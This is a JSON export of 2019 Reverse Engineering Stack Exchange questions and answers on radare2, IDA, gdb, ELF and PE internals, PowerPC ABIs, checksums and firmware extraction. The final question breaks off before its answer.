        "Body": "<p>I was trying to debug a crackme with radare2. I found an interesting function which radare2 flagged as <code>sym.xxx</code>. The following listing is trimmed version of disassembled output of the function <code>sym.xxx</code>.</p>\n\n<pre><code>[0x7ff299821090]&gt; pdf @sym.xxx\n/ (fcn) sym.xxx 179\n|   sym.xxx ();\n|           ; CALL XREF from main @ 0x55a340b531a8\n|           0x55a340b53297      55             push rbp\n|           0x55a340b53298      4889e5         mov rbp, rsp\n|           0x55a340b5329b      488d35b92d00.  lea rsi, obj.key3       ; 0x55a340b5605b ; \"is\"\n|           0x55a340b532a2      488d3d373000.  lea rdi, [0x55a340b562e0]\n|           0x55a340b532a9      e8c2fdffff     call sym.imp.strcat     ; char *strcat(char *s1, const char *s2)\n|           0x55a340b532ae      488d052b3000.  lea rax, [0x55a340b562e0]\n|           0x55a340b532b5      48c7c1ffffff.  mov rcx, 0xffffffffffffffff\n|           0x55a340b532bc      4889c2         mov rdx, rax\n|           0x55a340b532bf      b800000000     mov eax, 0\n|           0x55a340b532c4      4889d7         mov rdi, rdx\n|           0x55a340b532c7      f2ae           repne scasb al, byte [rdi]\n...\n</code></pre>\n\n<p>While stepping in through each instruction in this function, I have noticed that after executing the fourth instructon (<code>lea rdi, [0x55a340b562e0]</code>) the 2nd operand of <code>lea</code> instruction automatically substituted to a random register like <code>rdx</code>, <code>r9</code>, <code>rdi</code> in the disassembly of debugger window. In the screenshot below the fourth instruction got substituted to <code>lea rdi, [rdi]</code> by radare2. And I think it is worth mentioning that I have loaded the crackme executable 5 times in radare2, at first two times radare2 replaced the memory address operand with <code>rdx</code> and <code>r9</code> and last 3 times with <code>rdi</code>.</p>\n\n<p><a href=\"https://i.stack.imgur.com/SV8Un.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SV8Un.png\" alt=\"enter image description here\"></a></p>\n\n<p>I am quite unsure of what causing this behavior.Although <code>lea rdi, [rdi]</code> looks self-explanatory but I don't know about <code>rdx</code> or <code>r9</code>. Why radare2 is changing memory operands in <code>lea</code> instruction ?</p>\n\n<p><strong>Radare2 version</strong> : radare2 3.7.0 22507 @ linux-x86-64 git.3.7.0-38-g9ce44c7cc</p>\n\n<p><strong>Crackme binary</strong>: <a href=\"https://crackmes.one/crackme/5c95646333c5d46ecd37c960\" rel=\"nofollow noreferrer\">https://crackmes.one/crackme/5c95646333c5d46ecd37c960</a></p>\n",
        "Title": "Radare2 substituting second operand of lea instruction with a random register",
        "Tags": "|radare2|",
        "Answer": "<p>The instruction that confuses you is <code>488d3d37300000</code> standing for <code>lea rdi,[rip+0x3037]</code>. </p>\n\n<p>What radare2 shows you before executing this instruction is the value that will be stored in <code>rdi</code> register, not the exact mnemonic of the instruction. After executing this line, you see <code>lea rdi, [rdi]</code> and the reason behind it, <strong>I guess</strong>, is that radare2 prefers to show registers instead of raw values when possible. After executing this instruction, it realises that <code>rdi</code> has in fact value <code>0x55e3a3b802e0</code> so it can display it instead, which usually would be more readable, but in your case it unfortunately leads to confusion.</p>\n\n<p>To make sure that it is just radare2 issue, not the executable itself, you may check the opcode just before executing that instruction and just after it - it doesn't change.</p>\n\n<p><strong>Note:</strong> You mentioned that you see different registers in <code>lea</code> - they aren't put there randomly; depending on the current register values when you look at the mnemonics (using <code>pdf</code> or Visual Mode), they will change; i.e. if <code>r9= 0x55a340b562e0</code> at some moment, it can be displayed there (so you will see <code>lea rdi, [r9]</code> when it happens that <code>r9</code> or any other register has that value).</p>\n"
    },
    {
        "Id": "21910",
        "CreationDate": "2019-08-16T20:47:37.420",
        "Body": "<p>I'm trying to see if I can append function code in the .text section of an ELF  while still maintaining the execution flow of the original ELF. Ideally, I want to call the new function but that's it's own mountain to climb. I'm more concerned with just adding the code. Is this realistic? Or am I way over my head? I've been able to add the code by simply overwriting bytes. However, I would like to extend the .text section and insert it. If there's a better method of inserting new functionality into an ELF I'm all ears. But any guidance is helpful.</p>\n",
        "Title": "Elf x86_64 adding function",
        "Tags": "|c|elf|x86-64|",
        "Answer": "<p>I wrote a small utility back in high school to do something similar:\n<a href=\"https://github.com/jdefrancesco/elfy\" rel=\"nofollow noreferrer\">https://github.com/jdefrancesco/elfy</a></p>\n\n<p>You inject the .note section with the payload and it will modify the ELF entry pointing to the .note section. Afterwards it will jump back to the original entry point.</p>\n"
    },
    {
        "Id": "21912",
        "CreationDate": "2019-08-17T04:25:41.560",
        "Body": "<p>I'm using ghidra and cheat engine to reverse engineer a game's function. In ghidra's decompiler this function references two locations known as _DAT_XXX. I know the addresses of these locations in the binary.</p>\n\n<p>But how do I find the addresses of the locations when the process is running?</p>\n\n\n\n<pre><code>  if (_DAT_00dd5c44 &lt;= DAT_00dd5c3c) {\n    return 0;\n  }\n</code></pre>\n",
        "Title": "How do I find the address of a data location at runtime?",
        "Tags": "|debugging|static-analysis|dynamic-analysis|ghidra|",
        "Answer": "<h1>Position dependent code</h1>\n<p>If the executable was compiled as <em>position dependent code</em>, the addresses will not change - they will remain the same in process' virtual memory each time you run it. In this case, it simply suffices to find these addresses once during the runtime and they won't change.</p>\n<h1>Position independent code</h1>\n<p>In this (more likely) case, the addresses will change during each execution because of <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow noreferrer\">ASLR</a>. The thing that won't change however is their <em>relative offset to each other</em>. Since at compilation time, compiler has to take into account, that the resulting program can be loaded at different addresses it will use the relative offsets when accessing functions and data. For example, you will see something like <code>mov rax, [rip+0x1234]</code> instead of <code>mov rax, [0x555555655655]</code>. So you will need to find out the address of the data by calculating this relative offset.</p>\n<p>To avoid the problems related to ASLR, you may simply disable it for the time you need. In Linux you can do it by:</p>\n<p><code>echo 0 | sudo tee /proc/sys/kernel/randomize_va_space</code></p>\n<p>and you can enable it once again by running:</p>\n<p><code>echo 2 | sudo tee /proc/sys/kernel/randomize_va_space</code></p>\n<p>Finally, to get the address of the data referenced like <code>mov, rax, [rip+0x1234]</code> you will have to debug your program, place a breakpoint at that line and simply read the <code>rip</code> value and add the relevant offset to it (in this case <code>rip+0x1234</code>).</p>\n"
    },
    {
        "Id": "21913",
        "CreationDate": "2019-08-17T04:29:58.257",
        "Body": "<p>I have a servo motor with rotary encoder salvaged from an old scanner. I'm trying to figure out how to re-use it in a DIY CNC machine.</p>\n\n<p>By reading through the engineering manual from the original device (Hooray for  uncle Google!) I have established that the servo was run on PWM'ed 24.5v DC and the encoder was run on 5v DC. The power supplies were on the same board, but the voltages were generating from separate transformers. (I am in NZ, so it is 230v 50Hz mains here.) Regretfully I do not have the original mainboard/motherboard so I cannot trace any circuits that the encoder once ran to.</p>\n\n<p>The wiring is run from a parallel port connector up to the motor and the encoder - but the servo lines and the encoder lines are run in separate, independently 'screened' cables inside the outer cable liner. So it's two bundles, each with a metal woven tube around them and plastic over that, traveling inside the same larger diameter plastic outer sheath.They emerge from the outer sheath about 200mm from the servo and encoder and finish the distance as independent cables.</p>\n\n<p>Aside from figuring out a drive for the servo, I have to figure out how to read the encoder. I sort of understand the basics of how it works, with +/- A and +/- B and +/- index... those will tell me the 'start' point (indexes) and the pulses to count. I think. But that there are chips on the encoder  weirds me out... but that's not this question.</p>\n\n<p>Due to my embarrassingly low level of electronics knowledge I'm stuck on the fact that it has something called \"0v\" (on pin 20 of the pinout below), AND it has a ground through the mesh cable liner.</p>\n\n<p>So, if anyone can, please let me know how I can safely wire and power up the encoder to to begin looking for signals on the other wires. </p>\n\n<p>If \"0v\" is really separate and different from GND, then please include how I might create a \"0v\" from any of the many power supplies I have around. I've played with so many PSUs and other power bricks, but have never seen this 0v thing?</p>\n\n<p>I am posting pictures of it and also the only reference I have for the pinout of the connector. Thanks in advance.</p>\n\n<p><a href=\"https://i.stack.imgur.com/7ccy4.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7ccy4.jpg\" alt=\"page from old device&#39;s manual\"></a>\n<a href=\"https://i.stack.imgur.com/GLSUW.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GLSUW.jpg\" alt=\"Side view with (useless) part numbers\"></a>\n<a href=\"https://i.stack.imgur.com/Cd5dc.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Cd5dc.jpg\" alt=\"End view of encoder\"></a></p>\n",
        "Title": "How to wire up a rotary encoder with a \"0v\" connection?",
        "Tags": "|hardware|encodings|",
        "Answer": "<p>There are two possibilities:\nYour GND is actually safety ground. Which is usually used when electronics (or motor) is directly (without transformer) connected to 120/230V electrical grid.</p>\n\n<p>Other reasons is that motor need high current which introduce voltage drop and electrical noise on power supply lines. This could glitch or damage encoder. This problem can be solved by separating power supply for power and logic circuits. In your case you should use different power supply for encoder (pin 7 and 20 and its outputs) and Brush servo phase pins (if you will use them).</p>\n\n<p>I would say option 2 is more likely, but cant be sure your pictures.</p>\n\n<p>EDIT:\nIf your mesh in cable is actually connected to pin 21 or 22 then it is screen to prevent electrical interference, in that case it should be connected to appropriate GND at one (and only one) point.</p>\n"
    },
    {
        "Id": "21919",
        "CreationDate": "2019-08-17T18:38:20.120",
        "Body": "<p>The program I'm currently reversing is missing a section that contains a bunch of interesting strings. I see the memory addresses of where these should be, instead of the reference to the string. </p>\n\n<p>The strings are in the binary file analyzed by IDA, but since there isn't any segment for them, IDA ignored them.</p>\n\n<p>I tried manually creating the segment, which works (it now references unknown variables instead of memory addreses), but I can't figure out how to load the proper data into that section. (The entire section is filed with <code>db ? ;</code>)</p>\n\n<p>I've tried using <code>File &gt; Load File &gt; Load additional binary file</code>(with file offset &amp; size), as well as reloading the current file. I've also dumped the part of the file I'm interested in another file and tried to load that one as an additional binary as well.</p>\n\n<p>The only results I can get from that is:</p>\n\n<ul>\n<li>IDA creates a new segment at the end of all other segments (Not following the <code>Loading Segment</code> address I filled in.</li>\n<li>If I uncheck <code>Create Segments</code>, IDA does nothing. (Even though I specified the address of my manually created segment in <code>Loading Segment</code></li>\n</ul>\n\n<p>The segment I manually created has the following settings:\n<a href=\"https://i.stack.imgur.com/FColf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FColf.png\" alt=\"segment settings\"></a>\n.</p>\n\n<p>Here's the form I filled while loading the binary file that contains the data I want. \n<a href=\"https://i.stack.imgur.com/0IuUR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0IuUR.png\" alt=\"load binary file settings\"></a>\n.</p>\n\n<p>I've never done this before, so it's likely I'm doing something wrong, but I can't figure it out.</p>\n",
        "Title": "IDA Pro - Load data in manually created segment",
        "Tags": "|ida|",
        "Answer": "<p>Use the menu: File -> Load file -> Additional binary file, and then simply enter the segment address you want.<br>\nThe reason you fail on this operation is because you are misunderstanding the \"segment\" in IDA.<br>\nIn IDA the segment is defined by (selector, base) and offset. The final address is calculated by<br>\n<code>(base &lt;&lt; 4) + offset</code>.<br>\nIn fact, IDA is telling you to input \"in paragraph\", which is 0x10 each paragraph on IBM PC.<br>\nBut as x86 is using \"flat memory model\" now, what you should use is something like this:\n<a href=\"https://i.stack.imgur.com/jzxDC.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jzxDC.png\" alt=\"enter image description here\"></a>\nYour original operation will create a segment which has an EA of 0x1431A20000 (note the last zero), and what you will see in the IDA view will be segXXX:XXXXX instead of the \"flat\" segments like .text</p>\n"
    },
    {
        "Id": "21920",
        "CreationDate": "2019-08-18T06:31:25.940",
        "Body": "<p>Say I was interested in reverse engineering a specific process in a large binary, say how Google Chrome parses XML, what are some general approaches to identifying the instructions that the program uses to do that?</p>\n\n<p>Sorry I realise this is a broad question, so specifically how would you go about identifying relevant instructions when you have very little understanding about how the program is structured or what dependencies it has?</p>\n",
        "Title": "How to identify/extract relevant assembly from a binary?",
        "Tags": "|disassembly|assembly|binary-analysis|",
        "Answer": "<p>I'll present the steps that <em>I would</em> perform in such a case. Note that <em>they aren't necessarily the most efficient and reliable one</em>s although they should work in many cases. I'm assuming that the binary you want to examine isn't packed and obfuscated.</p>\n\n<ol>\n<li><strong>Look for the imports</strong>. Sometimes the code you are looking for is just taken from external library. In this case just looking for its documentation will suffice. In case of PE files you can use <a href=\"http://www.dependencywalker.com/\" rel=\"nofollow noreferrer\">Dependency Walker</a> and <a href=\"http://www.purinchu.net/software/elflibviewer.php\" rel=\"nofollow noreferrer\">ELF Library Viewer</a> for ELF files.</li>\n<li><strong>Open the file in disassembler</strong> (such as <a href=\"https://github.com/radare/radare2\" rel=\"nofollow noreferrer\">radare2</a> or <a href=\"https://www.hex-rays.com/products/ida/\" rel=\"nofollow noreferrer\">IDA</a>) and if debug symbols are attatched, you can search for the function with a name suggesting that it performs the activity you want to find.</li>\n<li><strong>Search for strings</strong>. If you notice that some string is used when certain functionality is launched, you may just search for this string in disassembler  and search for the references to it. Then, you can look around this area and you may find the code you are looking for. </li>\n</ol>\n\n<p>In case all previous methods failed (most likely), it is time for <strong>dynamic analysis</strong>. Since you don't know where to set the breakpoints, you can set them at all the function calls in the program (possibly excluding library functions you aren't interested in). I wrote <a href=\"https://reverseengineering.stackexchange.com/questions/21235/function-call-trace-with-radare2-or-break-on-all-function-call/21724#21724\">radare2 script</a> performing exectly this task. </p>\n\n<p>Assume we want to find out how <em>Google Chrome</em> parses xml files. I would modify this script to log each distinct function call and then simply continue. I would then open <em>Google Chrome</em> in debugger (possibly radare2 but can be any other you can write scripts for) and just wait a couple of seconds with empty page to gather all the functions it calls when doing \"nothing special\". </p>\n\n<p>I would then rerun it, but this time with opening some xml file (for instance by drag and drop onto the empty page). Now, you can compare the files containing all the procedures called and see which extra ones are present in the second file. These (or at least some of them) should be responsible for parsing xml files.</p>\n"
    },
    {
        "Id": "21926",
        "CreationDate": "2019-08-18T18:10:51.977",
        "Body": "<p>I'm trying to debug some code on Linux.\nThere's an arbitrary memory location I need the program to jump to.\nThis location is result of calling mmap with appropriate protection flags for executing a piece of code.\nWhen trying to set break point like this: <code>b 0x00007ffff7fcf000</code>\nI get the following message:</p>\n\n<pre><code>Function \"0x00007ffff7fcf000\" not defined.\nMake breakpoint pending on future shared library load? (y or [n])\n</code></pre>\n\n<p>If I answer no, then no breakpoint is triggered, and if I answer yes, then still no breakpoint is triggered. How can I make gdb set a breakpoint on this address?</p>\n",
        "Title": "How to set breakpoint with gdb on arbitrary memory location?",
        "Tags": "|gdb|",
        "Answer": "<p>You need to use syntax like <code>*0x12345</code> with raw addresses, otherwise gdb tries to resolve it as a symbol. </p>\n"
    },
    {
        "Id": "21931",
        "CreationDate": "2019-08-19T18:12:20.267",
        "Body": "<p>I've made a custom loader and processor. As I use segment to separate something, now I want my name automatically shows in the following form<br>\n<code>9     dseg_1234      the same as 2, but without data type specifier</code>,<br>\nwhich is described in <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/609.shtml\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/idadoc/609.shtml</a><br>\nThe Java processor and loader can change the name representation to number 9 without any additional settings. However I failed to find any code relating to changing the name representation :(<br>\nSo how does the Java processor change this option?</p>\n",
        "Title": "How to change IDA's name representation programmatically?",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Use <a href=\"https://hex-rays.com/products/ida/support/idadoc/285.shtml\" rel=\"nofollow noreferrer\"><code>set_inf_attr</code></a> with the <code>INF_NAMETYPE</code> index</p>\n"
    },
    {
        "Id": "21935",
        "CreationDate": "2019-08-20T05:20:32.453",
        "Body": "<p>I am trying to recreate a binary file from an analysis of \"strings\" output. I don't recognize which compiler was used for this file. It does not seem to be shc. Does anyone recognize this output pattern from a known compiler?</p>\n\n<pre><code>strings *omitted*\n/lib/ld-linux.so.2\nlibc.so.6\n_IO_stdin_used\nputs\nsetreuid\nprintf\ngetchar\nsystem\ngeteuid\nstrcmp\n__libc_start_main\n__gmon_start__\nGLIBC_2.0\nPTRhp\nQVh;\nsecrf\nlove\nUWVS\nt$,U\n[^_]\n</code></pre>\n\n<p>I can include the rest of the output.\nEdit: the scripting language is likely dash</p>\n",
        "Title": "Identifying Compiler Used for Binary File",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Looks like strings from the first few sections of a Linux ELF32 binary created using the GCC toolchain. I can't tell you which version of GCC though.</p>\n\n<p>Your question should include the output of the following commands:</p>\n\n<ul>\n<li><code>file [name of binary]</code> </li>\n<li><code>readelf -h [name of binary]</code></li>\n<li><code>readelf -SW [name of binary]</code></li>\n<li><code>objdump -dj .text [name of binary]</code></li>\n</ul>\n\n<p><code>strings</code> output on its own is often insufficient for performing <em>compiler toolchain provenance</em>. </p>\n\n<p>You also should include the full output of <code>strings</code>, because sometimes the compiler includes an identifier within the binary:</p>\n\n<pre><code>/lib/ld-linux.so.2\nlibc.so.6\n_IO_stdin_used\nprintf\n__libc_start_main\n__gmon_start__\nGLIBC_2.0\nPTRh\n[^_]\n;*2$\"\nGCC: (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4    &lt;------------------- \nGCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4\n.symtab\n.strtab\n.shstrtab\n.interp\n.note.ABI-tag\n.note.gnu.build-id\n.gnu.hash\n.dynsym\n.dynstr\n.gnu.version\n.gnu.version_r\n.rel.dyn\n.rel.plt\n.init\n.text\n.fini\n.rodata\n.eh_frame_hdr\n.eh_frame\n.init_array\n.fini_array\n.jcr\n.dynamic\n.got\n.got.plt\n.data\n.bss\n.comment\ncrtstuff.c\n__JCR_LIST__\nderegister_tm_clones\nregister_tm_clones\n__do_global_dtors_aux\ncompleted.6600\n__do_global_dtors_aux_fini_array_entry\nframe_dummy\n__frame_dummy_init_array_entry\ntrigger_sigsegv.c\n__FRAME_END__\n__JCR_END__\n__init_array_end\n_DYNAMIC\n__init_array_start\n_GLOBAL_OFFSET_TABLE_\n__libc_csu_fini\n_ITM_deregisterTMCloneTable\n__x86.get_pc_thunk.bx\ndata_start\nprintf@@GLIBC_2.0\n_edata\n_fini\n__data_start\n__gmon_start__\n__dso_handle\n_IO_stdin_used\n__libc_start_main@@GLIBC_2.0\n__libc_csu_init\n_end\n_start\n_fp_hw\n__bss_start\nmain\n_Jv_RegisterClasses\n__TMC_END__\n_ITM_registerTMCloneTable\n_init\n</code></pre>\n"
    },
    {
        "Id": "21943",
        "CreationDate": "2019-08-21T07:41:02.230",
        "Body": "<p>Is there any option to set new icon for a signed PE executable in windows without re-signing it again. This means that the icon image, although fully assimilated to the PE file, won't change the hash value as it's appears in the file signature part.</p>\n\n<p>perhaps there's a concept where one can sign only the specific sections in the files such as <code>.text</code> or <code>.data</code> and avoid other parts of the file ? </p>\n\n<p>thanks </p>\n",
        "Title": "change PE file icon without re-signing the file all over again",
        "Tags": "|windows|pe|executable|",
        "Answer": "<p>This is normally not possible. The icon is part of the <em>resource section</em> (<code>.rsrc</code>) which is covered by the signature so any modification will invalidate it and the binary needs to be re-signed. </p>\n\n<p>There <em>may</em> be some parts of the executable you can <a href=\"https://vcsjones.dev/2016/04/15/authenticode-stuffing-tricks/\" rel=\"nofollow noreferrer\">change without invalidating the signature</a>, but the resource section is not one of them.</p>\n"
    },
    {
        "Id": "21944",
        "CreationDate": "2019-08-21T09:28:31.900",
        "Body": "<p>I'm trying to understand the concepts of the <code>TOC</code> and <code>SDA</code> in <code>PowerPC</code>. </p>\n\n<p>From what I understand, they are basically pointers to tables of global values, when <code>TOC</code> is stored in <code>r2</code>, and <code>SDA</code> in <code>r13</code>. </p>\n\n<p>But what are the difference between them? I compiled a simple ppc project, and I see that only <code>r2</code> is used, but <code>r13</code> isn't. Is it something that supposed to be said explicitly to use <code>SDA</code>? </p>\n\n<p>Moreover, I see that all my global strings aren't actually accessed through <code>r2</code> at all. It looks like the only use of <code>r2</code> in my code is just to access stack variables. Does it make sense?  </p>\n\n<p>In addition, Where are they supposed to be initialized? I didn't find in my code any place that <code>r2</code> is initialized, only used.</p>\n",
        "Title": "PowerPC TOC and SDA",
        "Tags": "|disassembly|register|powerpc|",
        "Answer": "<p>First, a bit of background on why these registers are needed. PPC is a RISC-like ISA, in that all instructions are of the same size (32 bits) and there is limited space for immediate values (usually 16 bits at most) that you would use for things like addresses. So how do you address more that 16 bits?</p>\n\n<p>One option is to build addresses by 16-bit slices, e.g. something like:</p>\n\n<pre><code> lis     r4,msg@ha     # load top 16 bits of &amp;msg\n addi    r4,r4,msg@l   # add bottom 16 bits\n</code></pre>\n\n<p>Another is to use PIC (position-independent code) to address things relative to current address:</p>\n\n<pre><code>  bcl 20, 4*cr7+so, loc_picbase #branch and link to next location \nloc_picbase:\n  mflr      r31 # load link register (lr) into r31. It will be equal to loc_picbase\n  addis     r2, r31, (_NXArgc - loc_picbase)@ha\n  stw       r28, (_NXArgc - loc_picbase)@l(r2)\n  &lt;and so on&gt;\n</code></pre>\n\n<p>However, using either of these requires multiple instructions per data access and is not always feasible (e.g. first variant would require patching instructions if binary needs to be relocated which can't be done when running read-only code). So on some platforms they came up with the concept of TOC (Table of Contents), which is a fixed register having the same value for the whole module and from which all data is addressed using an offset. The register <code>r2</code> was reserved for this purpose and AFAIK is supposed to be set by the OS loader. Since offsets in PPC instructions are limited to 16 bits (-32768 to +32767), you can address about 64K of data around <code>r2</code> (which is usually placed in the middle of the data area for maximum coverage). If the module needs more data, offsets bigger than 16 bits are constructed in several steps, or multiple TOCs may be used (in this case different functions may use different TOCs).</p>\n\n<p>In PPC64 ABI, the latter is achieved by so-called <em>function descriptors</em> which is pairs of pointers where one is the address of the function's code and the other is the TOC value expected by the function. Any time a function is called, the TOC is loaded from the descriptor before jumping to the function's code (unless the compiler knows that the target function uses the same TOC value, in which case the TOC reload can be skipped).</p>\n\n<p>In embedded environment, there is usually no OS but a monolithic firmware, and this concept is applied to the whole firmware by using register <code>r13</code> for SDA (Small Data Area) and, if necessary, <code>r2</code> for an additional data region (SDA2 -Small Data Area 2). A so-called Zero data area (ZDA) may be also used for data placed near the address 0 (using special addressing modes from register <code>r0</code>).</p>\n\n<p>Some compilers (notably Green Hills) support additional data pointers (<code>r14</code>, <code>r15</code> etc.). </p>\n\n<p>In embedded environment, the data registers (<code>r2</code>, <code>r13</code> etc.) should be initialized in the startup code, shortly after reset, as the rest of the firmware usually expects them to have proper values.</p>\n\n<p>P.S. usage of <code>r2</code> depends on the environment. It's quite possible that the target environment you're compiling for does not use TOC so you don't see it used (stack pointer on PowerPC is <code>r1</code>, not <code>r2</code>).</p>\n\n<p>Some references:</p>\n\n<ul>\n<li><a href=\"https://www.ibm.com/developerworks/library/l-ppc/index.html\" rel=\"noreferrer\">Introduction to assembly on the PowerPC (IBM)</a></li>\n<li><a href=\"http://devpit.org/wiki/Debugging_PowerPC_ELF_Binaries\" rel=\"noreferrer\">Debugging PowerPC ELF Binaries (Devpit)</a></li>\n<li><a href=\"http://refspecs.linux-foundation.org/elf/elfspec_ppc.pdf\" rel=\"noreferrer\">System V Application Binary Interface PowerPC\u2122 Processor Supplement</a></li>\n<li><a href=\"https://www.nxp.com/assets/documents/data/en/application-notes/PPCEABI.pdf\" rel=\"noreferrer\">PowerPC Embedded Application Binary Interface</a></li>\n<li><a href=\"https://refspecs.linuxfoundation.org/ELF/ppc64/PPC-elf64abi.pdf\" rel=\"noreferrer\">64-bit PowerPC ELF Application Binary Interface Supplement</a></li>\n</ul>\n"
    },
    {
        "Id": "21953",
        "CreationDate": "2019-08-22T04:13:26.353",
        "Body": "<p>To clarify, I understand how ADC works. It's the same as a regular ADD but with an extra 1 if the Carry Flag was set.</p>\n\n<p>Its use in the snippet below makes perfect sense to me since an overflow is most likely going to occur, setting the CF flag, when adding two 64-bit values in a 32-bit context:</p>\n\n<pre><code>Assume EDX:EAX and EBX:ECX pairs hold two 64 bit values that are to be added together.\n\nadd     eax, ecx\nadc     edx, ebx\nmov     dword [ebp+Some64BitValue], eax\nmov     dword [ebp+Some64BitValue+4], edx\n</code></pre>\n\n<p>What I fail to understand the meaning of is when ADC is used consecutively on the same variable/register like this:</p>\n\n<pre><code>add     eax, dword [esi]\nadc     eax, dword [esi+0x4]\nadc     eax, dword [esi+0x8]\nadc     eax, dword [esi+0x10]\n...\nadc     eax, 0\n</code></pre>\n\n<p>Generally speaking what would be the purpose of doing this? What is meant to be of EAX?</p>\n\n<p>*<em>update</em>:</p>\n\n<p>see my answer below</p>\n",
        "Title": "What is the purpose of consecutive ADC instructions to a single register?",
        "Tags": "|assembly|x86|math|",
        "Answer": "<p>I found the answer to my question.</p>\n\n<p>EAX is arbitrary, as are the values added to it from [ESI].</p>\n\n<p>The function I'm reversing is a calculating a 16-bit checksum after adding together data, in the manner you see above, and then folding the result in EAX to AX.</p>\n\n<p>I did some more research and found <a href=\"https://barrgroup.com/Embedded-Systems/How-To/Additive-Checksums\" rel=\"nofollow noreferrer\">this article</a> on Additive Checksums. The one I'm looking at is similar to The Internet Checksum described there.</p>\n\n<p>The purpose of consecutive ADC instructions in this case looks like an optimisation made available only at the assembly level. The checksum is performing ones compliment addition multiple times. Another way to perform the same operations, only with ADD, would be to let the carry bits accumulate in the upper half of the register and then add them back to the lower half at the end.</p>\n"
    },
    {
        "Id": "21957",
        "CreationDate": "2019-08-22T09:31:17.763",
        "Body": "<p>I need help. I am reversing <code>Procmon64.exe</code> file. \nIt drops <code>procmon.Sys</code> filesystem minifilter driver which does monitoring.</p>\n\n<p>Question:\nI need to know if filtering of events is done in user-mode or kernel-mode.</p>\n\n<p>My hypothesis is that all events are sent to user-mode application and then are filtered and displayed.</p>\n\n<p>For now i breakpointed procedure that calls <code>FilterGetMessage</code> but can't figure out if it returns all events or just filtered events.</p>\n\n<p>Thank You.</p>\n",
        "Title": "Info on ProcMon from SysInternals",
        "Tags": "|windows|driver|",
        "Answer": "<p>Most likely the driver only monitors events and send messages to user mode. This approach is used in Microsoft  driver samples.\nIf I remember correctly - that it is:\n<a href=\"https://github.com/microsoft/Windows-driver-samples/blob/master/filesys/miniFilter/scanner\" rel=\"nofollow noreferrer\">https://github.com/microsoft/Windows-driver-samples/blob/master/filesys/miniFilter/scanner</a></p>\n\n<p>I think it is good example to understand mini-filter driver and user mode app communication.</p>\n"
    },
    {
        "Id": "21969",
        "CreationDate": "2019-08-25T02:09:59.987",
        "Body": "<p>I download firmware</p>\n\n<pre><code>https://software.cisco.com/download/home/284973404/type/284971397/release/1.1.4.1\n</code></pre>\n\n<p>I extract with binwalk</p>\n\n<pre><code>sudo apt-get install -y binwalk'\nbinwalk -eM Sx220-R1.1.4.1.bin\ncd _Sx220-R1.1.4.1.bin-0.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/cpio-root\n</code></pre>\n\n<p>I work with sqfs.img, want mount or extract</p>\n\n<p>See file command</p>\n\n<pre><code>$ file sqfs.img\nsqfs.img: data\n</code></pre>\n\n<p>I try mount</p>\n\n<pre><code>$ sudo mount -o loop sqfs.img sqfs\nmount: cpio-root/sqfs: wrong fs type, bad option, bad superblock on \n/dev/loop2, missing codepage or helper program, or other error.\n</code></pre>\n\n<p>See fdisk -l</p>\n\n<pre><code>$ fdisk -l sqfs.img\nDisk sqfs.img: 5 MiB, 5193728 bytes, 10144 sectors\nUnits: sectors of 1 * 512 = 512 bytes\nSector size (logical/physical): 512 bytes / 512 bytes\nI/O size (minimum/optimal): 512 bytes / 512 bytes\n</code></pre>\n\n<p>See parted</p>\n\n<pre><code>$ sudo parted sqfs.img\nGNU Parted 3.2\nUsing cpio-root/sqfs.img\nWelcome to GNU Parted! Type 'help' to view a list of commands.\n(parted) print\nError: cpio-root/sqfs.img: unrecognised disk\nlabel\nModel:  (file)\nDisk cpio-root/sqfs.img: 5194kB\nSector size (logical/physical): 512B/512B\nPartition Table: unknown\nDisk Flags:\n</code></pre>\n\n<p>I read</p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/6720/how-to-extract-n150r-firmware-from-img-file\">How to extract N150R firmware from .img file</a></p>\n\n<p>I try dd</p>\n\n<pre><code> $ dd if=sqfs.img of=file.squashfs bs=192 skip=1\n 27049+1 records in\n 27049+1 records out\n 5193536 bytes (5.2 MB, 5.0 MiB) copied, 0.0968263 s, 53.6 MB/s\n</code></pre>\n\n<p>I try mount again</p>\n\n<pre><code> $ sudo mount file.squashfs sqfs/\n mount: _Sx220-R1.1.4.1.bin-0.extracted/_vmlinux_org.bin.extracted/_28A000.extracted/cpio-root/sqfs: wrong fs type, bad option, bad superblock on /dev/loop2, missing codepage or helper program, or other error.\n</code></pre>\n\n<p>I try sasquatch</p>\n\n<pre><code>$ sasquatch file.squashfs\nSquashFS version [40316.27519] / inode count [-143619237] suggests a SquashFS image of a different endianess\nNon-standard SquashFS Magic: \u2592&lt;W\u2592\nReading a different endian SQUASHFS filesystem on file.squashfs\nFilesystem on file.squashfs is (31901:32619), which is a later filesystem version than I support!\n</code></pre>\n\n<p>What can try next?</p>\n",
        "Title": "Extract Web Contents From Cisco Firmware Data IMG File",
        "Tags": "|firmware|",
